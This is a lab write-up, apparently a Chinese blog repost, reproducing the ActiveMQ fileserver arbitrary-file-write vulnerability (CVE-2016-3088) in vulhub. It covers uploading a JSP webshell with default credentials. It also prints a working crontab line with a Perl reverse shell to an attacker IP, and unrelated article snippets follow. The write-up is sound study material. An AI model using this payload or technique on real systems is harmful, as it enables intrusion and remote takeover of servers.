记一次ActiveMQ漏洞利用

news2024/11/15 1:50:01

ActiveMQ介绍:

Apache ActiveMQ 是 Apache 软件基金会所研发的一套开源的消息中间件,它支持 Java 消息服务、集群、Spring Framework 等。随着中间件的启动,会打开两个端口,61616 是工作端口,消息在这个端口进行传递;8161 是 Web 管理控制台。

ActiveMQ任意文件写入漏洞

ActiveMQ 的 web 控制台分三个应用:admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。

fileserver是一个RESTful API接口,可以通过GET、PUT、MOVE等HTTP请求对其中存储的文件进行读写操作,但后来发现其使用率并不高,并且容易出现漏洞。

所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(可以在conf/jetty.xml中开启);在5.14.0版本以后,彻底删除了fileserver应用。

漏洞详情:

本漏洞出现在 fileserver 应用中,漏洞原理很简单,就是 fileserver 支持写入文件(但不解析jsp),但是支持移动文件(MOVE请求)。我们可以将jsp的文件PUT到 fileserver 下,然后再通过Move指令移动到可执行目录下(admin和api),造成任意文件写入漏洞。

文件写入常用的有下面两种方式:

  • 写入webshell
  • 写入cron或ssh key等文件

写入webshell的好处是,门槛低更方便,前面说了 fileserver 不解析jsp,admin和api两个应用都需要登录才能访问,所以存在默认用户登录的情况可以用这种;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;

环境搭建:

靶场路径:

vulhub/activemq/CVE-2016-3088/

启动容器:

docker-compose up -d

在这里插入图片描述

复现过程:

访问环境:
在这里插入图片描述
分别用两种方式复现一下。

1、写入webshell:

本环境的账号密码就是默认的 admin/admin。上传个文件到 fileserver看一下,发现 jsp 类型的文件上传失败,改为 txt 上传成功。(有些情况下是可以直接上传 jsp 的,但是解析不了还是要移动文件)
在这里插入图片描述
在这里插入图片描述
接着移动到 admin 或 api 路径下并改后缀名为jsp就行了,但是需要知道上传路径,可通过 /admin/test/systemProperties.jsp 查看 ActiveMQ 的绝对路径
在这里插入图片描述
移动到 api 下,并且改后缀名
在这里插入图片描述
成功移动文件,访问 api/test.jsp 成功解析。
在这里插入图片描述
同理如果上传一个冰蝎马就能getshell了。连接冰蝎马的时候因为要登录验证,所以需要加 headers 头

Authorization:Basic YWRtaW46YWRtaW4=

在这里插入图片描述
在这里插入图片描述

2、写入crontab,自动化弹shell

在 /admin/test/systemProperties.jsp 可以看到运行ActiveMQ的用户是root,也就是说可以使用这种方法。
在这里插入图片描述

首先上传cron配置文件(注意,换行一定要\n,不能是\r\n,否则crontab执行会失败)
在这里插入图片描述

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.50.131";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

解释:这里反弹 shell 用的是 perl shell(bash shell 用不了),能成功的前提是服务器上安装了perl(看运气)。

  • */1 * * * * 表示定时任务执行时间是每分钟一次
  • root 表示执行定时任务的用户
  • /usr/bin/perl 是 perl 的绝对路径
  • $i为攻击机ip,$p为攻击机监听的端口

如果上述两个请求都返回204了,说明写入成功。监听端口,反弹 shell 成功。
在这里插入图片描述

漏洞防御:

ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/931996.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Sketchup软件安装包分享(附安装教程)

目录 一、软件简介 二、软件下载 一、软件简介 SketchUp是一款由Trimble公司开发的3D建模软件,广泛应用于建筑、室内设计、城市规划等领域。它以直观的用户界面和强大的功能而闻名,让用户能够轻松地创建和修改三维模型。 1、SketchUp的主要特点 用户…

BIO到NIO、多路复用器, 从理论到实践, 结合实际案例对比各自效率与特点(下)

文章目录 多路复用器简介多路复用器的两个阶段Java中的多路复用器封装测试代码压测结果总结 本篇文章是BIO到NIO、多路复用器, 从理论到实践, 结合实际案例对比各自效率与特点(上)的下一篇, 如果没有看的小伙伴, 可以先看下, 不然可能会不连贯. 多路复用器简介 多路复用器是对…

STM32 CAN 波特率计算分析

这里写目录标题 前言时钟分析时钟元到BIT 前言 CubeMX中配置CAN波特率的这个界面刚用的时候觉得非常难用,怎么都配置不到想要的波特率。接下来为大家做一下简单的分析。 时钟分析 STM32F4的CAN时钟来自APB1 在如下界面配置,最好配置为1个整一点的数。…

c语言练习题32:模拟实现库函数strlen并求字符串长度

模拟实现库函数strlen&#xff0c;读取字符个数。 思路&#xff1a;利用指针遍历字符串&#xff0c;从而获得字符串中的字符个数。 代码&#xff1a; //模拟实现库函数strlen #include<stdio.h> int Strlen(const char* str) {int count 0;//利⽤指针遍历字符串while…

详解CAS

CAS 全称compare and swap,字面意思"比较和交换" 能够比较和交换某个寄存器中的值和内存中的值,看是否相等,如果相等,则把另外一个寄存器中的值和内存中的值进行交换 伪代码 这个就给我们编写线程安全代码,打开了新世界的大门,基于CAS又能衍生出一套"无锁编程…

权限提升-数据库权限到web权限+后台权限到web权限

权限提升基础信息 1、具体有哪些权限需要我们了解掌握的&#xff1f; 后台权限&#xff0c;网站权限&#xff0c;数据库权限&#xff0c;接口权限&#xff0c;系统权限&#xff0c;域控权限等 2、以上常见权限获取方法简要归类说明&#xff1f; 后台权限&#xff1a;SQL注入,数…

本地镜像管理

查看 用户可以通过docker images命令查看本地所有镜像&#xff0c;如下&#xff1a; 这里一共有五个参数&#xff0c;含义分别如下&#xff1a; REPOSITORY 仓库名称&#xff0c;仓库一般用来存放同一类型的镜像。仓库的名称由其创建者指定。如果没有指定则为<none>。…

学生宿舍人走自动断电设备的功能要求

学生宿舍人走自动断电系统石家庄光大远通电气有限公司断电系统由人员探测模块&#xff08;安装在房间内部&#xff09;宿舍用电控制模块&#xff08;安装在房间供电线路&#xff09;&#xff0c;智能数据网关及后台服务器组成&#xff0c;每个房间安装一台探测器&#xff0c;实…

高并发编程-3. Amdahl(阿姆达尔)定律与Gustafson定律

此文章为笔记&#xff0c;为阅读其他文章的感受、补充、记录、练习、汇总&#xff0c;非原创&#xff0c;感谢每个知识分享者。 前言 有关为什么要使用并行程序的问题前面已经进行了简单的探讨。总的来说&#xff0c;最重要的应该是处于两个目的。 第一&#xff0c;为了获得更…

SpringBoot+mybatis+pgsql多个数据源配置

一、配置文件 jdk环境&#xff1a;1.8 配置了双数据源springbootdruidpgsql&#xff0c;application.properties配置修改如下&#xff1a; #当前入库主数据库 spring.primary.datasource.typecom.alibaba.druid.pool.DruidDataSource spring.primary.datasource.driver-class…

太阳能光伏产业链特征

从太阳能光伏产业链上来看&#xff0c;上游产业是原材料的生产环节&#xff0c;主要是对硅矿石和高纯度硅料的开采、提炼和生产&#xff0c;如冶金硅提纯、多晶硅提纯、单晶/多晶硅片加工与切割等环节。此外还包括太阳能电背板、电池用玻璃等系统配件的制造。 中游产业是技术核…

Day979.OAuth2.0可能存在的安全问题 -OAuth 2.0

OAuth2.0可能存在的安全问题 Hi&#xff0c;我是阿昌&#xff0c;今天学习记录的是关于OAuth2.0可能存在的安全问题的内容。 “OAuth 2.0 不是一种安全协议吗&#xff0c;不是保护 Web API 的吗&#xff1f;为啥 OAuth 2.0 自己还有安全的问题了呢&#xff1f;” 首先&#x…

积跬步至千里 || 数学基础、算法与编程

数学基础、算法与编程 1. BAP 技能 BAP 技能是指基础(Basic)、算法(Algorithm)和编程(Programm)三种基本技能的深度融合。理工科以数学、算法与编程为根基&#xff0c;这三个相辅相成又各有区别。 &#xff08;1&#xff09;数学以线性代数为主要研究工具和部分微积分技术为手…

Spring boot 集成单元测试

1.引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-test</artifactId><scope>test</scope></dependency> 2. 3.编写测试类 package com.enterprise;import com.enterpr…

网络安全02-C段扫描、开放端口

查询网站IP https://seo.chinaz.com/hetianlab.com 扫描指定IP&#xff1a;例&#xff1a;nmap -A -T4 ww.hetianlab.com -oX out.html 扫描指定段&#xff1a;例&#xff1a;nmap -O -Pn -A 192.168.113.1-200 扫描整个C段&#xff1a;例&#xff1a;nmap -O -Pn -A 192.168.…

ChatGPT在医疗系统的应用探索动态

注意&#xff1a;本信息仅供参考&#xff0c;发布该内容旨在传递更多信息的目的&#xff0c;并不意味着赞同其观点或证实其说法。 生成式人工智能&#xff0c;如OpenAI开发的ChatGPT&#xff0c;被认为是可以颠覆医疗行业的工具。尽管该技术刚刚起步&#xff0c;但已有许多医…

python 面试题--2(15题)

目录 1.解释Python中的 GIL&#xff08;全局解释器锁&#xff09;是什么&#xff0c;它对多线程编程有什么影响&#xff1f; 2.Python中的装饰器是什么&#xff1f;如何使用装饰器&#xff1f; 3.解释Python中的迭代器和生成器的区别。 4.什么是Python中的列表解析&#xf…

redis报错WRONGTYPE Operation against a key holding the wrong kind of value

在redis中我们一般存储string、list、hash类型的值&#xff0c;对应的方法分别为 db.StringGet(“key”)、db.ListRange、db.HashGetAll 如果取list类型值时使用了string的方法就会报WRONGTYPE Operation against a key holding the wrong kind of value错误。 redis-cli命令窗…

网络安全之红蓝对抗实战

前言 背景介绍&#xff1a;目标是拿到企业www.xxx.com的《上市商业计划书.docx》&#xff0c;通过 OPENVPN 访问。特别提出的得分规则修改&#xff0c;权限的得分必须有 WEBSHELL/交互式 SHELL&#xff0c;只有一个漏洞回显不给分&#xff0c;更加偏向考察**漏洞利用**而非漏洞…

简单shell脚本的编写

shell脚本就是将命令写入文本中&#xff0c;文本可以被执行。 脚本&#xff1a;本质是一个文件&#xff0c;文件里面存放的是 特定格式的指令&#xff0c;系统可以使用脚本解析器 翻译或解析 指令 并执行&#xff08;它不需要编译&#xff09; shell 既是应用程序&#xff0c…